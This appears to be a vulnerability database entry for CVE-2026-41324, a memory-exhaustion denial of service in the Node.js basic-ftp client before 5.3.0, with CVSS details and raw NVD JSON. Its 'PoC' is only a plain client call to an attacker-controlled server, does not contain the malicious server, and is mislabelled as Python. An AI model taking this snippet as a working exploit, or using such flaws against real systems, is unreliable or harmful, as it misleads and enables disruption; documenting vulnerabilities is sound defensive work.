Security Vulnerability Report
中文
CVE-2026-41324 CVSS 7.5 HIGH

CVE-2026-41324

Published: 2026-04-24 04:16:21
Last Modified: 2026-04-27 17:48:45

Description

basic-ftp is an FTP client for Node.js. Versions prior to 5.3.0 are vulnerable to denial of service through unbounded memory growth while processing directory listings from a remote FTP server. A malicious or compromised server can send an extremely large or never-ending listing response to `Client.list()`, causing the client process to consume memory until it becomes unstable or crashes. Version 5.3.0 fixes the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:patrickjuchli:basic-ftp:*:*:*:*:*:node.js:*:* - VULNERABLE
basic-ftp < 5.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-41324 (basic-ftp DoS) // This simulates a vulnerable client connecting to a malicious server. const { Client } = require('basic-ftp'); async function triggerVulnerability() { const client = new Client(); try { console.log("Connecting to malicious FTP server..."); // Attacker controls this server and sends infinite data on LIST command await client.access({ host: "192.168.1.100", user: "anonymous", password: "anonymous" }); // Triggering the unbounded memory growth // The server response to list() is crafted to be extremely large/never-ending console.log("Listing files..."); const files = await client.list(); console.log(files); } catch (err) { console.error("Error or Crash occurred:", err); } finally { client.close(); } } triggerVulnerability();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41324", "sourceIdentifier": "[email protected]", "published": "2026-04-24T04:16:20.767", "lastModified": "2026-04-27T17:48:44.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "basic-ftp is an FTP client for Node.js. Versions prior to 5.3.0 are vulnerable to denial of service through unbounded memory growth while processing directory listings from a remote FTP server. A malicious or compromised server can send an extremely large or never-ending listing response to `Client.list()`, causing the client process to consume memory until it becomes unstable or crashes. Version 5.3.0 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:patrickjuchli:basic-ftp:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "5.3.0", "matchCriteriaId": "248CB3D1-2635-4E2F-80F4-CCF59A675258"}]}]}], "references": [{"url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rp42-5vxx-qpwr", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rp42-5vxx-qpwr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}